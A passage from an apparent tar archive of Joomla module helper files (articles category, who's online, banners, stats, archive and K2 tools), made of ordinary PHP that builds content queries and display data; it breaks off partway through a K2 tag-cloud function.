									$article->setState('filter.published', 1);
									$article->setState('article.id', (int) $article_id);
									$item   = $article->getItem();
									$catids = array($item->catid);
								}
								else
								{
									$catids = array($catid);
								}
							}
							else
							{
								// Return right away if show_on_article_page option is off
								return;
							}
							break;

						case 'featured' :
						default:
							// Return right away if not on the category or article views
							return;
					}
				}
				else
				{
					// Return right away if not on a com_content page
					return;
				}

				break;

			case 'normal' :
			default:
				$catids = $params->get('catid');
				$articles->setState('filter.category_id.include', (bool) $params->get('category_filtering_type', 1));
				break;
		}

		// Category filter
		if ($catids)
		{
			if ($params->get('show_child_category_articles', 0) && (int) $params->get('levels', 0) > 0)
			{
				// Get an instance of the generic categories model
				$categories = JModelLegacy::getInstance('Categories', 'ContentModel', array('ignore_request' => true));
				$categories->setState('params', $appParams);
				$levels = $params->get('levels', 1) ?: 9999;
				$categories->setState('filter.get_children', $levels);
				$categories->setState('filter.published', 1);
				$categories->setState('filter.access', $access);
				$additional_catids = array();

				foreach ($catids as $catid)
				{
					$categories->setState('filter.parentId', $catid);
					$recursive = true;
					$items     = $categories->getItems($recursive);

					if ($items)
					{
						foreach ($items as $category)
						{
							$condition = (($category->level - $categories->getParent()->level) <= $levels);

							if ($condition)
							{
								$additional_catids[] = $category->id;
							}
						}
					}
				}

				$catids = array_unique(array_merge($catids, $additional_catids));
			}

			$articles->setState('filter.category_id', $catids);
		}

		// Ordering
		$ordering = $params->get('article_ordering', 'a.ordering');

		switch ($ordering)
		{
			case 'random':
				$articles->setState('list.ordering', JFactory::getDbo()->getQuery(true)->Rand());
				break;

			case 'rating_count':
			case 'rating':
				$articles->setState('list.ordering', $ordering);
				$articles->setState('list.direction', $params->get('article_ordering_direction', 'ASC'));

				if (!JPluginHelper::isEnabled('content', 'vote'))
				{
					$articles->setState('list.ordering', 'a.ordering');
				}

				break;

			default:
				$articles->setState('list.ordering', $ordering);
				$articles->setState('list.direction', $params->get('article_ordering_direction', 'ASC'));
				break;
		}

		// Filter by multiple tags
		$articles->setState('filter.tag', $params->get('filter_tag', array()));

		$articles->setState('filter.featured', $params->get('show_front', 'show'));
		$articles->setState('filter.author_id', $params->get('created_by', array()));
		$articles->setState('filter.author_id.include', $params->get('author_filtering_type', 1));
		$articles->setState('filter.author_alias', $params->get('created_by_alias', array()));
		$articles->setState('filter.author_alias.include', $params->get('author_alias_filtering_type', 1));
		$excluded_articles = $params->get('excluded_articles', '');

		if ($excluded_articles)
		{
			$excluded_articles = explode("\r\n", $excluded_articles);
			$articles->setState('filter.article_id', $excluded_articles);

			// Exclude
			$articles->setState('filter.article_id.include', false);
		}

		$date_filtering = $params->get('date_filtering', 'off');

		if ($date_filtering !== 'off')
		{
			$articles->setState('filter.date_filtering', $date_filtering);
			$articles->setState('filter.date_field', $params->get('date_field', 'a.created'));
			$articles->setState('filter.start_date_range', $params->get('start_date_range', '1000-01-01 00:00:00'));
			$articles->setState('filter.end_date_range', $params->get('end_date_range', '9999-12-31 23:59:59'));
			$articles->setState('filter.relative_date', $params->get('relative_date', 30));
		}

		// Filter by language
		$articles->setState('filter.language', $app->getLanguageFilter());

		$items = $articles->getItems();

		// Display options
		$show_date        = $params->get('show_date', 0);
		$show_date_field  = $params->get('show_date_field', 'created');
		$show_date_format = $params->get('show_date_format', 'Y-m-d H:i:s');
		$show_category    = $params->get('show_category', 0);
		$show_hits        = $params->get('show_hits', 0);
		$show_author      = $params->get('show_author', 0);
		$show_introtext   = $params->get('show_introtext', 0);
		$introtext_limit  = $params->get('introtext_limit', 100);

		// Find current Article ID if on an article page
		$option = $app->input->get('option');
		$view   = $app->input->get('view');

		if ($option === 'com_content' && $view === 'article')
		{
			$active_article_id = $app->input->getInt('id');
		}
		else
		{
			$active_article_id = 0;
		}

		// Prepare data for display using display options
		foreach ($items as &$item)
		{
			$item->slug    = $item->id . ':' . $item->alias;

			/** @deprecated Catslug is deprecated, use catid instead. 4.0 */
			$item->catslug = $item->catid . ':' . $item->category_alias;

			if ($access || in_array($item->access, $authorised))
			{
				// We know that user has the privilege to view the article
				$item->link = JRoute::_(ContentHelperRoute::getArticleRoute($item->slug, $item->catid, $item->language));
			}
			else
			{
				$menu      = $app->getMenu();
				$menuitems = $menu->getItems('link', 'index.php?option=com_users&view=login');

				if (isset($menuitems[0]))
				{
					$Itemid = $menuitems[0]->id;
				}
				elseif ($app->input->getInt('Itemid') > 0)
				{
					// Use Itemid from requesting page only if there is no existing menu
					$Itemid = $app->input->getInt('Itemid');
				}

				$item->link = JRoute::_('index.php?option=com_users&view=login&Itemid=' . $Itemid);
			}

			// Used for styling the active article
			$item->active      = $item->id == $active_article_id ? 'active' : '';
			$item->displayDate = '';

			if ($show_date)
			{
				$item->displayDate = JHtml::_('date', $item->$show_date_field, $show_date_format);
			}

			if ($item->catid)
			{
				$item->displayCategoryLink  = JRoute::_(ContentHelperRoute::getCategoryRoute($item->catid));
				$item->displayCategoryTitle = $show_category ? '<a href="' . $item->displayCategoryLink . '">' . $item->category_title . '</a>' : '';
			}
			else
			{
				$item->displayCategoryTitle = $show_category ? $item->category_title : '';
			}

			$item->displayHits       = $show_hits ? $item->hits : '';
			$item->displayAuthorName = $show_author ? $item->author : '';

			if ($show_introtext)
			{
				$item->introtext = JHtml::_('content.prepare', $item->introtext, '', 'mod_articles_category.content');
				$item->introtext = self::_cleanIntrotext($item->introtext);
			}

			$item->displayIntrotext = $show_introtext ? self::truncate($item->introtext, $introtext_limit) : '';
			$item->displayReadmore  = $item->alternative_readmore;
		}

		return $items;
	}

	/**
	 * Strips unnecessary tags from the introtext
	 *
	 * @param   string  $introtext  introtext to sanitize
	 *
	 * @return mixed|string
	 *
	 * @since  1.6
	 */
	public static function _cleanIntrotext($introtext)
	{
		$introtext = str_replace(array('<p>','</p>'), ' ', $introtext);
		$introtext = strip_tags($introtext, '<a><em><strong>');
		$introtext = trim($introtext);

		return $introtext;
	}

	/**
	 * Method to truncate introtext
	 *
	 * The goal is to get the proper length plain text string with as much of
	 * the html intact as possible with all tags properly closed.
	 *
	 * @param   string   $html       The content of the introtext to be truncated
	 * @param   integer  $maxLength  The maximum number of characters to render
	 *
	 * @return  string  The truncated string
	 *
	 * @since   1.6
	 */
	public static function truncate($html, $maxLength = 0)
	{
		$baseLength = strlen($html);

		// First get the plain text string. This is the rendered text we want to end up with.
		$ptString = JHtml::_('string.truncate', $html, $maxLength, $noSplit = true, $allowHtml = false);

		for ($maxLength; $maxLength < $baseLength;)
		{
			// Now get the string if we allow html.
			$htmlString = JHtml::_('string.truncate', $html, $maxLength, $noSplit = true, $allowHtml = true);

			// Now get the plain text from the html string.
			$htmlStringToPtString = JHtml::_('string.truncate', $htmlString, $maxLength, $noSplit = true, $allowHtml = false);

			// If the new plain text string matches the original plain text string we are done.
			if ($ptString === $htmlStringToPtString)
			{
				return $htmlString;
			}

			// Get the number of html tag characters in the first $maxlength characters
			$diffLength = strlen($ptString) - strlen($htmlStringToPtString);

			// Set new $maxlength that adjusts for the html tags
			$maxLength += $diffLength;

			if ($baseLength <= $maxLength || $diffLength <= 0)
			{
				return $htmlString;
			}
		}

		return $html;
	}

	/**
	 * Groups items by field
	 *
	 * @param   array   $list             list of items
	 * @param   string  $fieldName        name of field that is used for grouping
	 * @param   string  $direction        ordering direction
	 * @param   null    $fieldNameToKeep  field name to keep
	 *
	 * @return  array
	 *
	 * @since   1.6
	 */
	public static function groupBy($list, $fieldName, $direction, $fieldNameToKeep = null)
	{
		$grouped = array();

		if (!is_array($list))
		{
			if ($list == '')
			{
				return $grouped;
			}

			$list = array($list);
		}

		foreach ($list as $key => $item)
		{
			if (!isset($grouped[$item->$fieldName]))
			{
				$grouped[$item->$fieldName] = array();
			}

			if ($fieldNameToKeep === null)
			{
				$grouped[$item->$fieldName][$key] = $item;
			}
			else
			{
				$grouped[$item->$fieldName][$key] = $item->$fieldNameToKeep;
			}

			unset($list[$key]);
		}

		$direction($grouped);

		return $grouped;
	}

	/**
	 * Groups items by date
	 *
	 * @param   array   $list             list of items
	 * @param   string  $type             type of grouping
	 * @param   string  $direction        ordering direction
	 * @param   string  $monthYearFormat  date format to use
	 * @param   string  $field            date field to group by
	 *
	 * @return  array
	 *
	 * @since   1.6
	 */
	public static function groupByDate($list, $type = 'year', $direction = 'ksort', $monthYearFormat = 'F Y', $field = 'created')
	{
		$grouped = array();

		if (!is_array($list))
		{
			if ($list == '')
			{
				return $grouped;
			}

			$list = array($list);
		}

		foreach ($list as $key => $item)
		{
			switch ($type)
			{
				case 'month_year' :
					$month_year = StringHelper::substr($item->$field, 0, 7);

					if (!isset($grouped[$month_year]))
					{
						$grouped[$month_year] = array();
					}

					$grouped[$month_year][$key] = $item;
					break;

				case 'year' :
				default:
					$year = StringHelper::substr($item->$field, 0, 4);

					if (!isset($grouped[$year]))
					{
						$grouped[$year] = array();
					}

					$grouped[$year][$key] = $item;
					break;
			}

			unset($list[$key]);
		}

		$direction($grouped);

		if ($type === 'month_year')
		{
			foreach ($grouped as $group => $items)
			{
				$date                      = new JDate($group);
				$formatted_group           = $date->format($monthYearFormat);
				$grouped[$formatted_group] = $items;

				unset($grouped[$group]);
			}
		}

		return $grouped;
	}

	/**
	 * Groups items by tags
	 *
	 * @param   array   $list       list of items
	 * @param   string  $direction  ordering direction
	 *
	 * @return  array
	 *
	 * @since   3.9.0
	 */
	public static function groupByTags($list, $direction = 'ksort')
	{
		$grouped  = array();
		$untagged = array();

		if (!$list)
		{
			return $grouped;
		}

		foreach ($list as $item)
		{
			if ($item->tags->itemTags)
			{
				foreach ($item->tags->itemTags as $tag)
				{
					$grouped[$tag->title][] = $item;
				}
			}
			else
			{
				$untagged[] = $item;
			}
		}

		$direction($grouped);

		if ($untagged)
		{
			$grouped['MOD_ARTICLES_CATEGORY_UNTAGGED'] = $untagged;
		}

		return $grouped;
	}
}
mod_whosonline/helper.php000064400000005176150746170540011602 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_whosonline
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Helper for mod_whosonline
 *
 * @since  1.5
 */
class ModWhosonlineHelper
{
	/**
	 * Show online count
	 *
	 * @return  array  The number of Users and Guests online.
	 *
	 * @since   1.5
	 **/
	public static function getOnlineCount()
	{
		$db = JFactory::getDbo();

		// Calculate number of guests and users
		$result	     = array();
		$user_array  = 0;
		$guest_array = 0;

		$whereCondition = JFactory::getConfig()->get('shared_session', '0') ? 'IS NULL' : '= 0';

		$query = $db->getQuery(true)
			->select('guest, client_id')
			->from('#__session')
			->where('client_id ' . $whereCondition);
		$db->setQuery($query);

		try
		{
			$sessions = (array) $db->loadObjectList();
		}
		catch (RuntimeException $e)
		{
			$sessions = array();
		}

		if (count($sessions))
		{
			foreach ($sessions as $session)
			{
				// If guest increase guest count by 1
				if ($session->guest == 1)
				{
					$guest_array ++;
				}

				// If member increase member count by 1
				if ($session->guest == 0)
				{
					$user_array ++;
				}
			}
		}

		$result['user']  = $user_array;
		$result['guest'] = $guest_array;

		return $result;
	}

	/**
	 * Show online member names
	 *
	 * @param   mixed  $params  The parameters
	 *
	 * @return  array   (array) $db->loadObjectList()  The names of the online users.
	 *
	 * @since   1.5
	 **/
	public static function getOnlineUserNames($params)
	{
		$whereCondition = JFactory::getConfig()->get('shared_session', '0') ? 'IS NULL' : '= 0';

		$db    = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select($db->quoteName(array('a.username', 'a.userid', 'a.client_id')))
			->from('#__session AS a')
			->where($db->quoteName('a.userid') . ' != 0')
			->where($db->quoteName('a.client_id') . ' ' . $whereCondition)
			->group($db->quoteName(array('a.username', 'a.userid', 'a.client_id')));

		$user = JFactory::getUser();

		if (!$user->authorise('core.admin') && $params->get('filter_groups', 0) == 1)
		{
			$groups = $user->getAuthorisedGroups();

			if (empty($groups))
			{
				return array();
			}

			$query->join('LEFT', '#__user_usergroup_map AS m ON m.user_id = a.userid')
				->join('LEFT', '#__usergroups AS ug ON ug.id = m.group_id')
				->where('ug.id in (' . implode(',', $groups) . ')')
				->where('ug.id <> 1');
		}

		$db->setQuery($query);

		try
		{
			return (array) $db->loadObjectList();
		}
		catch (RuntimeException $e)
		{
			return array();
		}
	}
}
mod_banners/helper.php000064400000003237150746170540011041 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_banners
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Environment\Browser;

/**
 * Helper for mod_banners
 *
 * @since  1.5
 */
class ModBannersHelper
{
	/**
	 * Retrieve list of banners
	 *
	 * @param   \Joomla\Registry\Registry  &$params  module parameters
	 *
	 * @return  mixed
	 */
	public static function &getList(&$params)
	{
		JModelLegacy::addIncludePath(JPATH_ROOT . '/components/com_banners/models', 'BannersModel');

		$document = JFactory::getDocument();
		$app      = JFactory::getApplication();
		$keywords = explode(',', $document->getMetaData('keywords'));
		$config   = ComponentHelper::getParams('com_banners');

		$model = JModelLegacy::getInstance('Banners', 'BannersModel', array('ignore_request' => true));
		$model->setState('filter.client_id', (int) $params->get('cid'));
		$model->setState('filter.category_id', $params->get('catid', array()));
		$model->setState('list.limit', (int) $params->get('count', 1));
		$model->setState('list.start', 0);
		$model->setState('filter.ordering', $params->get('ordering'));
		$model->setState('filter.tag_search', $params->get('tag_search'));
		$model->setState('filter.keywords', $keywords);
		$model->setState('filter.language', $app->getLanguageFilter());

		$banners = $model->getItems();

		if ($banners)
		{
			if ($config->get('track_robots_impressions', 1) == 1 || !Browser::getInstance()->isRobot())
			{
				$model->impress();
			}
		}

		return $banners;
	}
}
mod_stats/helper.php000064400000006770150746170540010554 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_stats
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Helper for mod_stats
 *
 * @since  1.5
 */
class ModStatsHelper
{
	/**
	 * Get list of stats
	 *
	 * @param   \Joomla\Registry\Registry  &$params  module parameters
	 *
	 * @return  array
	 */
	public static function &getList(&$params)
	{
		$app        = JFactory::getApplication();
		$db         = JFactory::getDbo();
		$rows       = array();
		$query      = $db->getQuery(true);
		$serverinfo = $params->get('serverinfo', 0);
		$siteinfo   = $params->get('siteinfo', 0);
		$counter    = $params->get('counter', 0);
		$increase   = $params->get('increase', 0);

		$i = 0;

		if ($serverinfo)
		{
			$rows[$i] = new stdClass;
			$rows[$i]->title = JText::_('MOD_STATS_OS');
			$rows[$i]->data  = substr(php_uname(), 0, 7);
			$i++;

			$rows[$i] = new stdClass;
			$rows[$i]->title = JText::_('MOD_STATS_PHP');
			$rows[$i]->data  = phpversion();
			$i++;

			$rows[$i] = new stdClass;
			$rows[$i]->title = JText::_($db->name);
			$rows[$i]->data  = $db->getVersion();
			$i++;

			$rows[$i] = new stdClass;
			$rows[$i]->title = JText::_('MOD_STATS_TIME');
			$rows[$i]->data  = JHtml::_('date', 'now', 'H:i');
			$i++;

			$rows[$i] = new stdClass;
			$rows[$i]->title = JText::_('MOD_STATS_CACHING');
			$rows[$i]->data  = $app->get('caching') ? JText::_('JENABLED') : JText::_('JDISABLED');
			$i++;

			$rows[$i] = new stdClass;
			$rows[$i]->title = JText::_('MOD_STATS_GZIP');
			$rows[$i]->data  = $app->get('gzip') ? JText::_('JENABLED') : JText::_('JDISABLED');
			$i++;
		}

		if ($siteinfo)
		{
			$query->select('COUNT(id) AS count_users')
				->from('#__users');
			$db->setQuery($query);

			try
			{
				$users = $db->loadResult();
			}
			catch (RuntimeException $e)
			{
				$users = false;
			}

			$query->clear()
				->select('COUNT(id) AS count_items')
				->from('#__content')
				->where('state = 1');
			$db->setQuery($query);

			try
			{
				$items = $db->loadResult();
			}
			catch (RuntimeException $e)
			{
				$items = false;
			}

			if ($users)
			{
				$rows[$i] = new stdClass;
				$rows[$i]->title = JText::_('MOD_STATS_USERS');
				$rows[$i]->data  = $users;
				$i++;
			}

			if ($items)
			{
				$rows[$i] = new stdClass;
				$rows[$i]->title = JText::_('MOD_STATS_ARTICLES');
				$rows[$i]->data  = $items;
				$i++;
			}
		}

		if ($counter)
		{
			$query->clear()
				->select('SUM(hits) AS count_hits')
				->from('#__content')
				->where('state = 1');
			$db->setQuery($query);

			try
			{
				$hits = $db->loadResult();
			}
			catch (RuntimeException $e)
			{
				$hits = false;
			}

			if ($hits)
			{
				$rows[$i] = new stdClass;
				$rows[$i]->title = JText::_('MOD_STATS_ARTICLES_VIEW_HITS');
				$rows[$i]->data  = $hits + $increase;
				$i++;
			}
		}

		// Include additional data defined by published system plugins
		JPluginHelper::importPlugin('system');

		$arrays = (array) $app->triggerEvent('onGetStats', array('mod_stats'));

		foreach ($arrays as $response)
		{
			foreach ($response as $row)
			{
				// We only add a row if the title and data are given
				if (isset($row['title']) && isset($row['data']))
				{
					$rows[$i]        = new stdClass;
					$rows[$i]->title = $row['title'];
					$rows[$i]->icon  = isset($row['icon']) ? $row['icon'] : 'info';
					$rows[$i]->data  = $row['data'];
					$i++;
				}
			}
		}

		return $rows;
	}
}
mod_articles_archive/helper.php000064400000004625150746170540012722 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_archive
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Helper for mod_articles_archive
 *
 * @since  1.5
 */
class ModArchiveHelper
{
	/**
	 * Retrieve list of archived articles
	 *
	 * @param   \Joomla\Registry\Registry  &$params  module parameters
	 *
	 * @return  array
	 *
	 * @since   1.5
	 */
	public static function getList(&$params)
	{
		// Get database
		$db    = JFactory::getDbo();
		$query = $db->getQuery(true);
		$query->select($query->month($db->quoteName('created')) . ' AS created_month')
			->select('MIN(' . $db->quoteName('created') . ') AS created')
			->select($query->year($db->quoteName('created')) . ' AS created_year')
			->from('#__content')
			->where('state = 2')
			->group($query->year($db->quoteName('created')) . ', ' . $query->month($db->quoteName('created')))
			->order($query->year($db->quoteName('created')) . ' DESC, ' . $query->month($db->quoteName('created')) . ' DESC');

		// Filter by language
		if (JFactory::getApplication()->getLanguageFilter())
		{
			$query->where('language in (' . $db->quote(JFactory::getLanguage()->getTag()) . ',' . $db->quote('*') . ')');
		}

		$db->setQuery($query, 0, (int) $params->get('count'));

		try
		{
			$rows = (array) $db->loadObjectList();
		}
		catch (RuntimeException $e)
		{
			JFactory::getApplication()->enqueueMessage(JText::_('JERROR_AN_ERROR_HAS_OCCURRED'), 'error');

			return array();
		}

		$app    = JFactory::getApplication();
		$menu   = $app->getMenu();
		$item   = $menu->getItems('link', 'index.php?option=com_content&view=archive', true);
		$itemid = (isset($item) && !empty($item->id)) ? '&Itemid=' . $item->id : '';

		$i     = 0;
		$lists = array();

		foreach ($rows as $row)
		{
			$date = JFactory::getDate($row->created);

			$createdMonth = $date->format('n');
			$createdYear  = $date->format('Y');

			$createdYearCal = JHtml::_('date', $row->created, 'Y');
			$monthNameCal   = JHtml::_('date', $row->created, 'F');

			$lists[$i] = new stdClass;

			$lists[$i]->link = JRoute::_('index.php?option=com_content&view=archive&year=' . $createdYear . '&month=' . $createdMonth . $itemid);
			$lists[$i]->text = JText::sprintf('MOD_ARTICLES_ARCHIVE_DATE', $monthNameCal, $createdYearCal);

			$i++;
		}

		return $lists;
	}
}
mod_k2_tools/helper.php000060400000121576150746170540011150 0ustar00<?php
/**
 * @version    2.9.x
 * @package    K2
 * @author     JoomlaWorks https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die;

require_once(JPATH_SITE.'/components/com_k2/helpers/route.php');
require_once(JPATH_SITE.'/components/com_k2/helpers/utilities.php');
require_once(JPATH_SITE.'/media/k2/assets/vendors/cascade/calendar/calendar.php');

class modK2ToolsHelper
{
    public static $paths = array();

    public static function getAuthors(&$params)
    {
        $app = JFactory::getApplication();
        $componentParams = JComponentHelper::getParams('com_k2');
        $where = '';
        $cid = $params->get('authors_module_category');
        if ($cid > 0) {
            $categories = modK2ToolsHelper::getCategoryChildren($cid);
            $categories[] = $cid;
            JArrayHelper::toInteger($categories);
            $where = " catid IN(".implode(',', $categories).") AND ";
        }

        $user = JFactory::getUser();
        $aid = (int)$user->get('aid');
        $db = JFactory::getDbo();

        $jnow = JFactory::getDate();
        $now = K2_JVERSION == '15' ? $jnow->toMySQL() : $jnow->toSql();
        $nullDate = $db->getNullDate();

        if (K2_JVERSION != '15') {
            $languageCheck = '';
            if ($app->getLanguageFilter()) {
                $languageTag = JFactory::getLanguage()->getTag();
                $languageCheck = "AND language IN (".$db->Quote($languageTag).", ".$db->Quote('*').")";
            }
            $query = "SELECT created_by FROM #__k2_items
            WHERE {$where} published=1
            AND ( publish_up = ".$db->Quote($nullDate)." OR publish_up <= ".$db->Quote($now)." )
            AND ( publish_down = ".$db->Quote($nullDate)." OR publish_down >= ".$db->Quote($now)." )
            AND trash=0
            AND access IN(".implode(',', $user->getAuthorisedViewLevels()).")
            AND created_by_alias=''
            {$languageCheck}
            AND EXISTS (SELECT * FROM #__k2_categories WHERE id= #__k2_items.catid AND published=1 AND trash=0 AND access IN(".implode(',', $user->getAuthorisedViewLevels()).") {$languageCheck})
            GROUP BY created_by";
        } else {
            $query = "SELECT created_by FROM #__k2_items
            WHERE {$where} published=1
            AND ( publish_up = ".$db->Quote($nullDate)." OR publish_up <= ".$db->Quote($now)." )
            AND ( publish_down = ".$db->Quote($nullDate)." OR publish_down >= ".$db->Quote($now)." )
            AND trash=0
            AND access<={$aid}
            AND created_by_alias=''
            AND EXISTS (SELECT * FROM #__k2_categories WHERE id= #__k2_items.catid AND published=1 AND trash=0 AND access<={$aid})
            GROUP BY created_by";
        }

        $db->setQuery($query);
        $rows = $db->loadObjectList();

        $authors = array();
        if (count($rows)) {
            foreach ($rows as $row) {
                $author = JFactory::getUser($row->created_by);
                $author->link = JRoute::_(K2HelperRoute::getUserRoute($author->id));

                $query = "SELECT id, gender, description, image, url, `group`, plugins FROM #__k2_users WHERE userID=".(int)$author->id;
                $db->setQuery($query);
                $author->profile = $db->loadObject();

                if ($params->get('authorAvatar')) {
                    $author->avatar = K2HelperUtilities::getAvatar($author->id, $author->email, $componentParams->get('userImageWidth'));
                }

                if (K2_JVERSION != '15') {
                    $languageCheck = '';
                    if ($app->getLanguageFilter()) {
                        $languageTag = JFactory::getLanguage()->getTag();
                        $languageCheck = "AND i.language IN (".$db->Quote($languageTag).", ".$db->Quote('*').") AND c.language IN (".$db->Quote($languageTag).", ".$db->Quote('*').")";
                    }
                    $query = "SELECT i.*, c.alias as categoryalias FROM #__k2_items as i
                    LEFT JOIN #__k2_categories c ON c.id = i.catid
                    WHERE i.created_by = ".(int)$author->id."
                    AND i.published = 1
                    AND i.access IN(".implode(',', $user->getAuthorisedViewLevels()).")
                    AND ( i.publish_up = ".$db->Quote($nullDate)." OR i.publish_up <= ".$db->Quote($now)." )
                    AND ( i.publish_down = ".$db->Quote($nullDate)." OR i.publish_down >= ".$db->Quote($now)." )
                    AND i.trash = 0 AND created_by_alias='' AND c.published = 1 AND c.access IN(".implode(',', $user->getAuthorisedViewLevels()).") AND c.trash = 0 {$languageCheck} ORDER BY created DESC";
                } else {
                    $query = "SELECT i.*, c.alias as categoryalias FROM #__k2_items as i
                    LEFT JOIN #__k2_categories c ON c.id = i.catid
                    WHERE i.created_by = ".(int)$author->id."
                    AND i.published = 1
                    AND i.access <= {$aid}
                    AND ( i.publish_up = ".$db->Quote($nullDate)." OR i.publish_up <= ".$db->Quote($now)." )
                    AND ( i.publish_down = ".$db->Quote($nullDate)." OR i.publish_down >= ".$db->Quote($now)." )
                    AND i.trash = 0 AND created_by_alias='' AND c.published = 1 AND c.access <= {$aid} AND c.trash = 0 ORDER BY created DESC";
                }

                $db->setQuery($query, 0, 1);
                $author->latest = $db->loadObject();
                $author->latest->id = (int)$author->latest->id;
                $author->latest->link = urldecode(JRoute::_(K2HelperRoute::getItemRoute($author->latest->id.':'.urlencode($author->latest->alias), $author->latest->catid.':'.urlencode($author->latest->categoryalias))));

                $query = "SELECT COUNT(*) FROM #__k2_comments WHERE published=1 AND itemID={$author->latest->id}";
                $db->setQuery($query);
                $author->latest->numOfComments = $db->loadResult();

                if ($params->get('authorItemsCounter')) {
                    if (K2_JVERSION != '15') {
                        $languageCheck = '';
                        if ($app->getLanguageFilter()) {
                            $languageTag = JFactory::getLanguage()->getTag();
                            $languageCheck = "AND language IN (".$db->Quote($languageTag).", ".$db->Quote('*').")";
                        }
                        $query = "SELECT COUNT(*) FROM #__k2_items  WHERE {$where} published=1 AND ( publish_up = ".$db->Quote($nullDate)." OR publish_up <= ".$db->Quote($now)." ) AND ( publish_down = ".$db->Quote($nullDate)." OR publish_down >= ".$db->Quote($now)." ) AND trash=0 AND access IN(".implode(',', $user->getAuthorisedViewLevels()).") AND created_by_alias='' AND created_by={$row->created_by} {$languageCheck} AND EXISTS (SELECT * FROM #__k2_categories WHERE id= #__k2_items.catid AND published=1 AND trash=0 AND access IN(".implode(',', $user->getAuthorisedViewLevels()).") {$languageCheck} )";
                    } else {
                        $query = "SELECT COUNT(*) FROM #__k2_items  WHERE {$where} published=1 AND ( publish_up = ".$db->Quote($nullDate)." OR publish_up <= ".$db->Quote($now)." ) AND ( publish_down = ".$db->Quote($nullDate)." OR publish_down >= ".$db->Quote($now)." ) AND trash=0 AND access<={$aid} AND created_by_alias='' AND created_by={$row->created_by} AND EXISTS (SELECT * FROM #__k2_categories WHERE id= #__k2_items.catid AND published=1 AND trash=0 AND access<={$aid} )";
                    }
                    $db->setQuery($query);
                    $numofitems = $db->loadResult();
                    $author->items = $numofitems;
                }
                $authors[] = $author;
            }
        }
        return $authors;
    }

    public static function getArchive(&$params)
    {
        $app = JFactory::getApplication();
        $user = JFactory::getUser();
        $aid = (int)$user->get('aid');
        $db = JFactory::getDbo();

        $jnow = JFactory::getDate();
        $now = K2_JVERSION == '15' ? $jnow->toMySQL() : $jnow->toSql();

        $nullDate = $db->getNullDate();

        $query = "SELECT DISTINCT MONTH(created) as m, YEAR(created) as y FROM #__k2_items WHERE published=1 AND ( publish_up = ".$db->Quote($nullDate)." OR publish_up <= ".$db->Quote($now)." ) AND ( publish_down = ".$db->Quote($nullDate)." OR publish_down >= ".$db->Quote($now)." ) AND trash=0";
        if (K2_JVERSION != '15') {
            $query .= " AND access IN(".implode(',', $user->getAuthorisedViewLevels()).") ";
            if ($app->getLanguageFilter()) {
                $languageTag = JFactory::getLanguage()->getTag();
                $query .= " AND language IN (".$db->Quote($languageTag).", ".$db->Quote('*').") ";
            }
        } else {
            $query .= " AND access<={$aid} ";
        }

        $catid = $params->get('archiveCategory', 0);
        if ($catid > 0) {
            $query .= " AND catid=".(int)$catid;
        }

        $query .= " ORDER BY created DESC";

        $db->setQuery($query, 0, 12);
        $rows = $db->loadObjectList();
        $months = array(
            JText::_('K2_JANUARY'),
            JText::_('K2_FEBRUARY'),
            JText::_('K2_MARCH'),
            JText::_('K2_APRIL'),
            JText::_('K2_MAY'),
            JText::_('K2_JUNE'),
            JText::_('K2_JULY'),
            JText::_('K2_AUGUST'),
            JText::_('K2_SEPTEMBER'),
            JText::_('K2_OCTOBER'),
            JText::_('K2_NOVEMBER'),
            JText::_('K2_DECEMBER'),
        );
        if (count($rows)) {
            foreach ($rows as $row) {
                if ($params->get('archiveItemsCounter')) {
                    $row->numOfItems = modK2ToolsHelper::countArchiveItems($row->m, $row->y, $catid);
                } else {
                    $row->numOfItems = '';
                }
                $row->name = $months[($row->m) - 1];

                if ($params->get('archiveCategory', 0) > 0) {
                    $row->link = JRoute::_(K2HelperRoute::getDateRoute($row->y, $row->m, null, $params->get('archiveCategory')));
                } else {
                    $row->link = JRoute::_(K2HelperRoute::getDateRoute($row->y, $row->m));
                }

                $archives[] = $row;
            }

            return $archives;
        }
    }

    public static function tagCloud(&$params)
    {
        $app = JFactory::getApplication();
        $user = JFactory::getUser();
        $aid = (int)$user->get('aid');
        $db = JFactory::getDbo();

        $jnow = JFactory::getDate();
        $now = K2_JVERSION == '15' ? $jnow->toMySQL() : $jnow->toSql();

        $nullDate = $db->getNullDate();

        $query = "SELECT i.id FROM #__k2_items as i";
        $query .= " LEFT JOIN #__k2_categories c ON c.id = i.catid";
        $query .= " WHERE i.published=1 ";
        $query .= " AND ( i.publish_up = ".$db->Quote($nullDate)." OR i.publish_up <= ".$db->Quote($now)." ) ";
        $query .= " AND ( i.publish_down = ".$db->Quote($nullDate)." OR i.publish_down >= ".$db->Quote($now)." )";
        $query .= " AND i.trash=0 ";
        if (K2_JVERSION != '15') {
            $query .= " AND i.access IN(".implode(',', $user->getAuthorisedViewLevels()).") ";
        } else {
            $query .= " AND i.access <= {$aid} ";
        }
        $query .= " AND c.published=1 ";
        $query .= " AND c.trash=0 ";
        if (K2_JVERSION != '15') {
            $query .= " AND c.access IN(".implode(',', $user->getAuthorisedViewLevels()).") ";
        } else {
            $query .= " AND c.access <= {$aid} ";
        }

        $cloudCategory = $params->get('cloud_category');
        if (is_array($cloudCategory)) {
            $cloudCategory = array_filter($cloudCategory);
        }
        if ($cloudCategory) {
            if (!is_array($cloudCategory)) {
                $cloudCategory = (array)$cloudCategory;
            }
